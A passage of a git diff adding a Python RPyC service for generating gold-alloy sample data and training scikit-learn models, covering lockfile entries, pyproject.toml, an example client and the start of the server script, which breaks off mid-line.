"sha256:970ec697accaef10fb4f51763f3a7b1250f9f0553cf05514d0e94905322a0172"}, + {file = "scikit_learn-1.4.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:923d778f378ebacca2c672ab1740e5a413e437fb45ab45ab02578f8b689e5d43"}, + {file = "scikit_learn-1.4.0-cp39-cp39-win_amd64.whl", hash = "sha256:1d041bc95006b545b59e458399e3175ab11ca7a03dc9a74a573ac891f5df1489"}, +] + +[package.dependencies] +joblib = ">=1.2.0" +numpy = ">=1.19.5" +scipy = ">=1.6.0" +threadpoolctl = ">=2.0.0" + +[package.extras] +benchmark = ["matplotlib (>=3.3.4)", "memory-profiler (>=0.57.0)", "pandas (>=1.1.5)"] +docs = ["Pillow (>=7.1.2)", "matplotlib (>=3.3.4)", "memory-profiler (>=0.57.0)", "numpydoc (>=1.2.0)", "pandas (>=1.1.5)", "plotly (>=5.14.0)", "pooch (>=1.6.0)", "scikit-image (>=0.17.2)", "seaborn (>=0.9.0)", "sphinx (>=6.0.0)", "sphinx-copybutton (>=0.5.2)", "sphinx-gallery (>=0.15.0)", "sphinx-prompt (>=1.3.0)", "sphinxext-opengraph (>=0.4.2)"] +examples = ["matplotlib (>=3.3.4)", "pandas (>=1.1.5)", "plotly (>=5.14.0)", "pooch (>=1.6.0)", "scikit-image (>=0.17.2)", "seaborn (>=0.9.0)"] +tests = ["black (>=23.3.0)", "matplotlib (>=3.3.4)", "mypy (>=1.3)", "numpydoc (>=1.2.0)", "pandas (>=1.1.5)", "polars (>=0.19.12)", "pooch (>=1.6.0)", "pyamg (>=4.0.0)", "pyarrow (>=12.0.0)", "pytest (>=7.1.2)", "pytest-cov (>=2.9.0)", "ruff (>=0.0.272)", "scikit-image (>=0.17.2)"] + +[[package]] +name = "scipy" +version = "1.12.0" +description = "Fundamental algorithms for scientific computing in Python" +optional = false +python-versions = ">=3.9" +files = [ + {file = "scipy-1.12.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:78e4402e140879387187f7f25d91cc592b3501a2e51dfb320f48dfb73565f10b"}, + {file = "scipy-1.12.0-cp310-cp310-macosx_12_0_arm64.whl", hash = "sha256:f5f00ebaf8de24d14b8449981a2842d404152774c1a1d880c901bf454cb8e2a1"}, + {file = "scipy-1.12.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e53958531a7c695ff66c2e7bb7b79560ffdc562e2051644c5576c39ff8efb563"}, + {file = "scipy-1.12.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5e32847e08da8d895ce09d108a494d9eb78974cf6de23063f93306a3e419960c"}, + {file = "scipy-1.12.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:4c1020cad92772bf44b8e4cdabc1df5d87376cb219742549ef69fc9fd86282dd"}, + {file = "scipy-1.12.0-cp310-cp310-win_amd64.whl", hash = "sha256:75ea2a144096b5e39402e2ff53a36fecfd3b960d786b7efd3c180e29c39e53f2"}, + {file = "scipy-1.12.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:408c68423f9de16cb9e602528be4ce0d6312b05001f3de61fe9ec8b1263cad08"}, + {file = "scipy-1.12.0-cp311-cp311-macosx_12_0_arm64.whl", hash = "sha256:5adfad5dbf0163397beb4aca679187d24aec085343755fcdbdeb32b3679f254c"}, + {file = "scipy-1.12.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c3003652496f6e7c387b1cf63f4bb720951cfa18907e998ea551e6de51a04467"}, + {file = "scipy-1.12.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8b8066bce124ee5531d12a74b617d9ac0ea59245246410e19bca549656d9a40a"}, + {file = "scipy-1.12.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:8bee4993817e204d761dba10dbab0774ba5a8612e57e81319ea04d84945375ba"}, + {file = "scipy-1.12.0-cp311-cp311-win_amd64.whl", hash = "sha256:a24024d45ce9a675c1fb8494e8e5244efea1c7a09c60beb1eeb80373d0fecc70"}, + {file = "scipy-1.12.0-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:e7e76cc48638228212c747ada851ef355c2bb5e7f939e10952bc504c11f4e372"}, + {file = "scipy-1.12.0-cp312-cp312-macosx_12_0_arm64.whl", hash = "sha256:f7ce148dffcd64ade37b2df9315541f9adad6efcaa86866ee7dd5db0c8f041c3"}, + {file = "scipy-1.12.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9c39f92041f490422924dfdb782527a4abddf4707616e07b021de33467f917bc"}, + {file = "scipy-1.12.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a7ebda398f86e56178c2fa94cad15bf457a218a54a35c2a7b4490b9f9cb2676c"}, + {file = "scipy-1.12.0-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:95e5c750d55cf518c398a8240571b0e0782c2d5a703250872f36eaf737751338"}, + {file = "scipy-1.12.0-cp312-cp312-win_amd64.whl", hash = "sha256:e646d8571804a304e1da01040d21577685ce8e2db08ac58e543eaca063453e1c"}, + {file = "scipy-1.12.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:913d6e7956c3a671de3b05ccb66b11bc293f56bfdef040583a7221d9e22a2e35"}, + {file = "scipy-1.12.0-cp39-cp39-macosx_12_0_arm64.whl", hash = "sha256:bba1b0c7256ad75401c73e4b3cf09d1f176e9bd4248f0d3112170fb2ec4db067"}, + {file = "scipy-1.12.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:730badef9b827b368f351eacae2e82da414e13cf8bd5051b4bdfd720271a5371"}, + {file = "scipy-1.12.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6546dc2c11a9df6926afcbdd8a3edec28566e4e785b915e849348c6dd9f3f490"}, + {file = "scipy-1.12.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:196ebad3a4882081f62a5bf4aeb7326aa34b110e533aab23e4374fcccb0890dc"}, + {file = "scipy-1.12.0-cp39-cp39-win_amd64.whl", hash = "sha256:b360f1b6b2f742781299514e99ff560d1fe9bd1bff2712894b52abe528d1fd1e"}, + {file = "scipy-1.12.0.tar.gz", hash = "sha256:4bf5abab8a36d20193c698b0f1fc282c1d083c94723902c447e5d2f1780936a3"}, +] + +[package.dependencies] +numpy = ">=1.22.4,<1.29.0" + +[package.extras] +dev = ["click", "cython-lint (>=0.12.2)", "doit (>=0.36.0)", "mypy", "pycodestyle", "pydevtool", "rich-click", "ruff", "types-psutil", "typing_extensions"] +doc = ["jupytext", "matplotlib (>2)", "myst-nb", "numpydoc", "pooch", "pydata-sphinx-theme (==0.9.0)", "sphinx (!=4.1.0)", "sphinx-design (>=0.2.0)"] +test = ["asv", "gmpy2", "hypothesis", "mpmath", "pooch", "pytest", "pytest-cov", "pytest-timeout", "pytest-xdist", "scikit-umfpack", "threadpoolctl"] + +[[package]] +name = "six" +version = "1.16.0" +description = "Python 2 and 3 compatibility utilities" +optional = false +python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*" +files = [ + {file = "six-1.16.0-py2.py3-none-any.whl", hash = "sha256:8abb2f1d86890a2dfb989f9a77cfcfd3e47c2a354b01111771326f8aa26e0254"}, + {file = "six-1.16.0.tar.gz", hash = "sha256:1e61c37477a1626458e36f7b1d82aa5c9b094fa4802892072e49de9c60c4c926"}, +] + +[[package]] +name = "structlog" +version = "24.1.0" +description = "Structured Logging for Python" +optional = false +python-versions = ">=3.8" +files = [ + {file = "structlog-24.1.0-py3-none-any.whl", hash = "sha256:3f6efe7d25fab6e86f277713c218044669906537bb717c1807a09d46bca0714d"}, + {file = "structlog-24.1.0.tar.gz", hash = "sha256:41a09886e4d55df25bdcb9b5c9674bccfab723ff43e0a86a1b7b236be8e57b16"}, +] + +[package.extras] +dev = ["structlog[tests,typing]"] +docs = ["furo", "myst-parser", "sphinx", "sphinx-notfound-page", "sphinxcontrib-mermaid", "sphinxext-opengraph", "twisted"] +tests = ["freezegun (>=0.2.8)", "pretend", "pytest (>=6.0)", "pytest-asyncio (>=0.17)", "simplejson"] +typing = ["mypy (>=1.4)", "rich", "twisted"] + +[[package]] +name = "threadpoolctl" +version = "3.2.0" +description = "threadpoolctl" +optional = false +python-versions = ">=3.8" +files = [ + {file = "threadpoolctl-3.2.0-py3-none-any.whl", hash = "sha256:2b7818516e423bdaebb97c723f86a7c6b0a83d3f3b0970328d66f4d9104dc032"}, + {file = "threadpoolctl-3.2.0.tar.gz", hash = "sha256:c96a0ba3bdddeaca37dc4cc7344aafad41cdb8c313f74fdfe387a867bba93355"}, +] + +[[package]] +name = "typeguard" +version = "4.1.5" +description = "Run-time type checker for Python" +optional = false +python-versions = ">=3.8" +files = [ + {file = "typeguard-4.1.5-py3-none-any.whl", hash = "sha256:8923e55f8873caec136c892c3bed1f676eae7be57cdb94819281b3d3bc9c0953"}, + {file = "typeguard-4.1.5.tar.gz", hash = "sha256:ea0a113bbc111bcffc90789ebb215625c963411f7096a7e9062d4e4630c155fd"}, +] + +[package.dependencies] +typing-extensions = {version = ">=4.7.0", markers = "python_version < \"3.12\""} + +[package.extras] +doc = ["Sphinx (>=7)", "packaging", "sphinx-autodoc-typehints (>=1.2.0)"] +test = ["coverage[toml] (>=7)", "mypy (>=1.2.0)", "pytest (>=7)"] + +[[package]] +name = "typing-extensions" +version = "4.9.0" +description = "Backported and Experimental Type Hints for Python 3.8+" +optional = false +python-versions = ">=3.8" +files = [ + {file = "typing_extensions-4.9.0-py3-none-any.whl", hash = "sha256:af72aea155e91adfc61c3ae9e0e342dbc0cba726d6cba4b6c72c1f34e47291cd"}, + {file = "typing_extensions-4.9.0.tar.gz", hash = "sha256:23478f88c37f27d76ac8aee6c905017a143b0b1b886c3c9f66bc2fd94f9f5783"}, +] + +[[package]] +name = "typing-inspect" +version = "0.9.0" +description = "Runtime inspection utilities for typing module." +optional = false +python-versions = "*" +files = [ + {file = "typing_inspect-0.9.0-py3-none-any.whl", hash = "sha256:9ee6fc59062311ef8547596ab6b955e1b8aa46242d854bfc78f4f6b0eff35f9f"}, + {file = "typing_inspect-0.9.0.tar.gz", hash = "sha256:b23fc42ff6f6ef6954e4852c1fb512cdd18dbea03134f91f856a95ccc9461f78"}, +] + +[package.dependencies] +mypy-extensions = ">=0.3.0" +typing-extensions = ">=3.7.4" + +[[package]] +name = "tzdata" +version = "2023.4" +description = "Provider of IANA time zone data" +optional = false +python-versions = ">=2" +files = [ + {file = "tzdata-2023.4-py2.py3-none-any.whl", hash = "sha256:aa3ace4329eeacda5b7beb7ea08ece826c28d761cda36e747cfbf97996d39bf3"}, + {file = "tzdata-2023.4.tar.gz", hash = "sha256:dd54c94f294765522c77399649b4fefd95522479a664a0cec87f41bebc6148c9"}, +] + +[[package]] +name = "wrapt" +version = "1.16.0" +description = "Module for decorators, wrappers and monkey patching." +optional = false +python-versions = ">=3.6" +files = [ + {file = "wrapt-1.16.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:ffa565331890b90056c01db69c0fe634a776f8019c143a5ae265f9c6bc4bd6d4"}, + {file = "wrapt-1.16.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:e4fdb9275308292e880dcbeb12546df7f3e0f96c6b41197e0cf37d2826359020"}, + {file = "wrapt-1.16.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bb2dee3874a500de01c93d5c71415fcaef1d858370d405824783e7a8ef5db440"}, + {file = "wrapt-1.16.0-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:2a88e6010048489cda82b1326889ec075a8c856c2e6a256072b28eaee3ccf487"}, + {file = "wrapt-1.16.0-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ac83a914ebaf589b69f7d0a1277602ff494e21f4c2f743313414378f8f50a4cf"}, + {file = "wrapt-1.16.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:73aa7d98215d39b8455f103de64391cb79dfcad601701a3aa0dddacf74911d72"}, + {file = "wrapt-1.16.0-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:807cc8543a477ab7422f1120a217054f958a66ef7314f76dd9e77d3f02cdccd0"}, + {file = "wrapt-1.16.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:bf5703fdeb350e36885f2875d853ce13172ae281c56e509f4e6eca049bdfb136"}, + {file = "wrapt-1.16.0-cp310-cp310-win32.whl", hash = "sha256:f6b2d0c6703c988d334f297aa5df18c45e97b0af3679bb75059e0e0bd8b1069d"}, + {file = "wrapt-1.16.0-cp310-cp310-win_amd64.whl", hash = "sha256:decbfa2f618fa8ed81c95ee18a387ff973143c656ef800c9f24fb7e9c16054e2"}, + {file = "wrapt-1.16.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:1a5db485fe2de4403f13fafdc231b0dbae5eca4359232d2efc79025527375b09"}, + {file = "wrapt-1.16.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:75ea7d0ee2a15733684badb16de6794894ed9c55aa5e9903260922f0482e687d"}, + {file = "wrapt-1.16.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a452f9ca3e3267cd4d0fcf2edd0d035b1934ac2bd7e0e57ac91ad6b95c0c6389"}, + {file = "wrapt-1.16.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:43aa59eadec7890d9958748db829df269f0368521ba6dc68cc172d5d03ed8060"}, + {file = "wrapt-1.16.0-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:72554a23c78a8e7aa02abbd699d129eead8b147a23c56e08d08dfc29cfdddca1"}, + {file = "wrapt-1.16.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:d2efee35b4b0a347e0d99d28e884dfd82797852d62fcd7ebdeee26f3ceb72cf3"}, + {file = "wrapt-1.16.0-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:6dcfcffe73710be01d90cae08c3e548d90932d37b39ef83969ae135d36ef3956"}, + {file = "wrapt-1.16.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:eb6e651000a19c96f452c85132811d25e9264d836951022d6e81df2fff38337d"}, + {file = "wrapt-1.16.0-cp311-cp311-win32.whl", hash = "sha256:66027d667efe95cc4fa945af59f92c5a02c6f5bb6012bff9e60542c74c75c362"}, + {file = "wrapt-1.16.0-cp311-cp311-win_amd64.whl", hash = "sha256:aefbc4cb0a54f91af643660a0a150ce2c090d3652cf4052a5397fb2de549cd89"}, + {file = "wrapt-1.16.0-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:5eb404d89131ec9b4f748fa5cfb5346802e5ee8836f57d516576e61f304f3b7b"}, + {file = "wrapt-1.16.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:9090c9e676d5236a6948330e83cb89969f433b1943a558968f659ead07cb3b36"}, + {file = "wrapt-1.16.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:94265b00870aa407bd0cbcfd536f17ecde43b94fb8d228560a1e9d3041462d73"}, + {file = "wrapt-1.16.0-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f2058f813d4f2b5e3a9eb2eb3faf8f1d99b81c3e51aeda4b168406443e8ba809"}, + {file = "wrapt-1.16.0-cp312-cp312-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:98b5e1f498a8ca1858a1cdbffb023bfd954da4e3fa2c0cb5853d40014557248b"}, + {file = "wrapt-1.16.0-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:14d7dc606219cdd7405133c713f2c218d4252f2a469003f8c46bb92d5d095d81"}, + {file = "wrapt-1.16.0-cp312-cp312-musllinux_1_1_i686.whl", hash = "sha256:49aac49dc4782cb04f58986e81ea0b4768e4ff197b57324dcbd7699c5dfb40b9"}, + {file = "wrapt-1.16.0-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:418abb18146475c310d7a6dc71143d6f7adec5b004ac9ce08dc7a34e2babdc5c"}, + {file = "wrapt-1.16.0-cp312-cp312-win32.whl", hash = "sha256:685f568fa5e627e93f3b52fda002c7ed2fa1800b50ce51f6ed1d572d8ab3e7fc"}, + {file = "wrapt-1.16.0-cp312-cp312-win_amd64.whl", hash = "sha256:dcdba5c86e368442528f7060039eda390cc4091bfd1dca41e8046af7c910dda8"}, + {file = "wrapt-1.16.0-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:d462f28826f4657968ae51d2181a074dfe03c200d6131690b7d65d55b0f360f8"}, + {file = "wrapt-1.16.0-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a33a747400b94b6d6b8a165e4480264a64a78c8a4c734b62136062e9a248dd39"}, + {file = "wrapt-1.16.0-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:b3646eefa23daeba62643a58aac816945cadc0afaf21800a1421eeba5f6cfb9c"}, + {file = "wrapt-1.16.0-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3ebf019be5c09d400cf7b024aa52b1f3aeebeff51550d007e92c3c1c4afc2a40"}, + {file = "wrapt-1.16.0-cp36-cp36m-musllinux_1_1_aarch64.whl", hash = "sha256:0d2691979e93d06a95a26257adb7bfd0c93818e89b1406f5a28f36e0d8c1e1fc"}, + {file = "wrapt-1.16.0-cp36-cp36m-musllinux_1_1_i686.whl", hash = "sha256:1acd723ee2a8826f3d53910255643e33673e1d11db84ce5880675954183ec47e"}, + {file = "wrapt-1.16.0-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:bc57efac2da352a51cc4658878a68d2b1b67dbe9d33c36cb826ca449d80a8465"}, + {file = "wrapt-1.16.0-cp36-cp36m-win32.whl", hash = "sha256:da4813f751142436b075ed7aa012a8778aa43a99f7b36afe9b742d3ed8bdc95e"}, + {file = "wrapt-1.16.0-cp36-cp36m-win_amd64.whl", hash = "sha256:6f6eac2360f2d543cc875a0e5efd413b6cbd483cb3ad7ebf888884a6e0d2e966"}, + {file = "wrapt-1.16.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:a0ea261ce52b5952bf669684a251a66df239ec6d441ccb59ec7afa882265d593"}, + {file = "wrapt-1.16.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7bd2d7ff69a2cac767fbf7a2b206add2e9a210e57947dd7ce03e25d03d2de292"}, + {file = "wrapt-1.16.0-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:9159485323798c8dc530a224bd3ffcf76659319ccc7bbd52e01e73bd0241a0c5"}, + {file = "wrapt-1.16.0-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a86373cf37cd7764f2201b76496aba58a52e76dedfaa698ef9e9688bfd9e41cf"}, + {file = "wrapt-1.16.0-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:73870c364c11f03ed072dda68ff7aea6d2a3a5c3fe250d917a429c7432e15228"}, + {file = "wrapt-1.16.0-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:b935ae30c6e7400022b50f8d359c03ed233d45b725cfdd299462f41ee5ffba6f"}, + {file = "wrapt-1.16.0-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:db98ad84a55eb09b3c32a96c576476777e87c520a34e2519d3e59c44710c002c"}, + {file = "wrapt-1.16.0-cp37-cp37m-win32.whl", hash = "sha256:9153ed35fc5e4fa3b2fe97bddaa7cbec0ed22412b85bcdaf54aeba92ea37428c"}, + {file = "wrapt-1.16.0-cp37-cp37m-win_amd64.whl", hash = "sha256:66dfbaa7cfa3eb707bbfcd46dab2bc6207b005cbc9caa2199bcbc81d95071a00"}, + {file = "wrapt-1.16.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:1dd50a2696ff89f57bd8847647a1c363b687d3d796dc30d4dd4a9d1689a706f0"}, + {file = "wrapt-1.16.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:44a2754372e32ab315734c6c73b24351d06e77ffff6ae27d2ecf14cf3d229202"}, + {file = "wrapt-1.16.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8e9723528b9f787dc59168369e42ae1c3b0d3fadb2f1a71de14531d321ee05b0"}, + {file = "wrapt-1.16.0-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:dbed418ba5c3dce92619656802cc5355cb679e58d0d89b50f116e4a9d5a9603e"}, + {file = "wrapt-1.16.0-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:941988b89b4fd6b41c3f0bfb20e92bd23746579736b7343283297c4c8cbae68f"}, + {file = "wrapt-1.16.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:6a42cd0cfa8ffc1915aef79cb4284f6383d8a3e9dcca70c445dcfdd639d51267"}, + {file = "wrapt-1.16.0-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:1ca9b6085e4f866bd584fb135a041bfc32cab916e69f714a7d1d397f8c4891ca"}, + {file = "wrapt-1.16.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:d5e49454f19ef621089e204f862388d29e6e8d8b162efce05208913dde5b9ad6"}, + {file = "wrapt-1.16.0-cp38-cp38-win32.whl", hash = "sha256:c31f72b1b6624c9d863fc095da460802f43a7c6868c5dda140f51da24fd47d7b"}, + {file = "wrapt-1.16.0-cp38-cp38-win_amd64.whl", hash = "sha256:490b0ee15c1a55be9c1bd8609b8cecd60e325f0575fc98f50058eae366e01f41"}, + {file = "wrapt-1.16.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:9b201ae332c3637a42f02d1045e1d0cccfdc41f1f2f801dafbaa7e9b4797bfc2"}, + {file = "wrapt-1.16.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:2076fad65c6736184e77d7d4729b63a6d1ae0b70da4868adeec40989858eb3fb"}, + {file = "wrapt-1.16.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c5cd603b575ebceca7da5a3a251e69561bec509e0b46e4993e1cac402b7247b8"}, + {file = "wrapt-1.16.0-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:b47cfad9e9bbbed2339081f4e346c93ecd7ab504299403320bf85f7f85c7d46c"}, + {file = "wrapt-1.16.0-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f8212564d49c50eb4565e502814f694e240c55551a5f1bc841d4fcaabb0a9b8a"}, + {file = "wrapt-1.16.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:5f15814a33e42b04e3de432e573aa557f9f0f56458745c2074952f564c50e664"}, + {file = "wrapt-1.16.0-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:db2e408d983b0e61e238cf579c09ef7020560441906ca990fe8412153e3b291f"}, + {file = "wrapt-1.16.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:edfad1d29c73f9b863ebe7082ae9321374ccb10879eeabc84ba3b69f2579d537"}, + {file = "wrapt-1.16.0-cp39-cp39-win32.whl", hash = "sha256:ed867c42c268f876097248e05b6117a65bcd1e63b779e916fe2e33cd6fd0d3c3"}, + {file = "wrapt-1.16.0-cp39-cp39-win_amd64.whl", hash = "sha256:eb1b046be06b0fce7249f1d025cd359b4b80fc1c3e24ad9eca33e0dcdb2e4a35"}, + {file = "wrapt-1.16.0-py3-none-any.whl", hash = "sha256:6906c4100a8fcbf2fa735f6059214bb13b97f75b1a61777fcf6432121ef12ef1"}, + {file = "wrapt-1.16.0.tar.gz", hash = "sha256:5f370f952971e7d17c7d1ead40e49f32345a7f7a5373571ef44d800d06b1899d"}, +] + +[metadata] +lock-version = "2.0" +python-versions = "~3.11" +content-hash = "9c6ab4eedb9b21f7b2da85701e4787f094b670950ce208cdeb50642febeef2e5" diff --git a/services/conveyor/pyproject.toml b/services/conveyor/pyproject.toml new file mode 100644 index 0000000..fd14211 --- /dev/null +++ b/services/conveyor/pyproject.toml @@ -0,0 +1,27 @@ +[tool.poetry] +authors = ["renbou"] +description = "Conveyor for working with gold and researching its properties via ML models." +license = "Apache-2.0" +name = "conveyor" +version = "1.33.7" + +[tool.poetry.dependencies] +numpy = "~1.26.3" +pandas = "~2.2.0" +pandera = "~0.18.0" +pyarrow = "~15.0.0" +pydantic = "~2.5.3" +pydantic-settings = "~2.1.0" +python = "~3.11" +redis = { extras = ["hiredis"], version = "~5.0.1" } +rpyc = "5.3.1" +scikit-learn = "~1.4.0" +structlog = "~24.1.0" + +[tool.poetry.scripts] +conveyor-client = "scripts.client:main" +conveyor-server = "scripts.server:main" + +[build-system] +build-backend = "poetry.core.masonry.api" +requires = ["poetry-core"] diff --git a/services/conveyor/scripts/client.py b/services/conveyor/scripts/client.py new file mode 100644 index 0000000..4f29a12 --- /dev/null +++ b/services/conveyor/scripts/client.py @@ -0,0 +1,75 @@ +import argparse +from collections import UserList as ulist +from typing import cast + +import rpyc + +from conveyor import AlloyComposition, GoldConveyorService + + +def main(): + argument_parser = argparse.ArgumentParser( + prog="conveyor-client", + description="Example client for the RPYC-powered gold ML dataset/model conveyors.", + ) + argument_parser.add_argument( + "host", help="Conveyor service connection target host.", type=str + ) + argument_parser.add_argument( + "port", help="Conveyor service connection target port.", type=int + ) + + # Connect to remote, allowing public attribute access in order to properly pass arguments. + args = argument_parser.parse_args() + conn: rpyc.Connection = rpyc.connect( + host=args.host, + port=args.port, + config=dict( + allow_public_attrs=True, + include_local_traceback=False, # don't include traceback to save bandwidth + include_local_version=False, + ), + ) + service: GoldConveyorService = cast(GoldConveyorService, conn.root) + + # Select samples of different origins and combine them. + custom_samples = service.data_conveyor.template_alloy_samples( + AlloyComposition(gold_fr=0.83, silver_fr=0.05, copper_fr=0.02, platinum_fr=0.1), + weight_ozt=5, + max_deviation=0.01, + samples=50, + ) + random_samples = service.data_conveyor.random_alloy_samples( + weight_ozt=2, max_deviation=0.005, samples=50 + ) + samples = service.data_conveyor.concat_samples(custom_samples, random_samples) + + print(f"Samples:\n{samples.head()}\n") + + # Normalize samples before working with them. + samples = service.data_conveyor.normalize_sample_weights(samples) + + print(f"Normalized samples:\n{samples.head()}\n") + + # Split them in preparation for training and testing. + x, y = ( + samples[ulist(["gold_ozt", "silver_ozt", "copper_ozt", "platinum_ozt"])], + samples[ulist(["karat"])], + ) + + x_train, x_test, y_train, y_test = service.data_conveyor.split_samples( + x, y, proportion=0.8 + ) + + print( + f"Train/Test frames shapes:\n - x_train {x_train.shape}\n - y_train {y_train.shape}\n - x_test {x_test.shape}\n - y_test {y_test.shape}\n" + ) + + # Train model and score it on the test data. + model = service.model_conveyor.fit_linear_regression(x_train, y_train) + print(f"Train score: {model.score(x_train, y_train)}") + print(f"Test score: {model.score(x_test, y_test)}") + + prediction = model.predict(x_test) + print(f"Test MAE: {service.model_conveyor.mean_absolute_error(y_test, prediction)}") + print(f"Test MSA: {service.model_conveyor.mean_squared_error(y_test, prediction)}") diff --git a/services/conveyor/scripts/server.py b/services/conveyor/scripts/server.py new file mode 100644 index 0000000..0cff3e0 --- /dev/null +++ b/services/conveyor/scripts/server.py @@ -0,0 +1,111 @@ +import logging +import signal +import sys +import threading +import time +from datetime import timedelta +from pathlib import Path + +import rpyc +import structlog +from pydantic import RedisDsn, ValidationError +from pydantic_settings import BaseSettings, SettingsConfigDict +from rpyc.utils.helpers import classpartial + +from conveyor import GoldConveyorService, storage + + +class Settings(BaseSettings): + model_config = SettingsConfigDict(env_prefix="conveyor_") + + debug: bool = False + data_ttl: timedelta + data_dir: Path + listen_port: int + redis_url: RedisDsn + + +def main(): + logging.basicConfig( + format="%(message)s", + stream=sys.stdout, + level=logging.INFO, + ) + + structlog.configure( + processors=[ + structlog.stdlib.add_logger_name, + structlog.stdlib.add_log_level, + structlog.processors.TimeStamper(fmt="iso"), + structlog.processors.StackInfoRenderer(), + structlog.processors.EventRenamer("message"), + structlog.processors.JSONRenderer(), + ], + wrapper_class=structlog.stdlib.BoundLogger, + logger_factory=structlog.stdlib.LoggerFactory(), + ) + logger = structlog.stdlib.get_logger("main") + + try: + settings = Settings.model_validate({}) + except ValidationError as err: + for error in err.errors(): + logger.critical( + f'validating field {".".join(map(str, error["loc"]))}: {error["msg"]}' + ) + exit(1) + + try: + repository = storage.RedisRepository( + str(settings.redis_url), round(settings.data_ttl.total_seconds()) + ) + except Exception as err: + logger.critical("failed to initialize redis-based repository", error=str(err)) + exit(1) + + try: + files = 